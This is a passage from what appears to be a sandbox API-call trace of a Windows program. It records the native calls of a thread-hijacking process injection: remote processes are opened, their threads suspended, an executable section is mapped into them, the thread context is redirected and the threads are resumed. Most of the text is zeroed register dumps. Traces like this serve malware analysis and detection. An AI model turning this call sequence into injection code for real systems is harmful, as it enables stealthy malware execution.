[263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0625.409] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0625.409] NtClose (Handle=0x20c) returned 0x0 [0625.409] NtClose (Handle=0x1e4) returned 0x0 [0625.410] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xec8, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0625.411] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0625.411] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0625.411] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xa43000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0625.411] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0630.425] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xf68) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0630.425] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0630.425] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x28d0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0630.430] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x93f9c0, Ebx=0xa43000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x93f968, Eip=0x7742295c, SegCs=0x23, EFlags=0x216, Esp=0x93f950, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0630.430] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0630.430] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x14da00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x14e000) returned 0x0 [0630.437] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x14da00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x32a0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x14e000) returned 0x0 [0630.456] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0630.483] NtClose (Handle=0x214) returned 0x0 [0630.483] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x93f9c0, Ebx=0xa43000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x93f968, Eip=0x335b927, SegCs=0x23, EFlags=0x216, Esp=0x93f950, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0630.484] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0630.484] NtClose (Handle=0x1e4) returned 0x0 [0630.484] NtClose (Handle=0x20c) returned 0x0 [0630.485] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xf60, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0630.485] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0630.485] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0630.485] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x299000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0630.485] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0635.519] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xf6c) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0635.532] 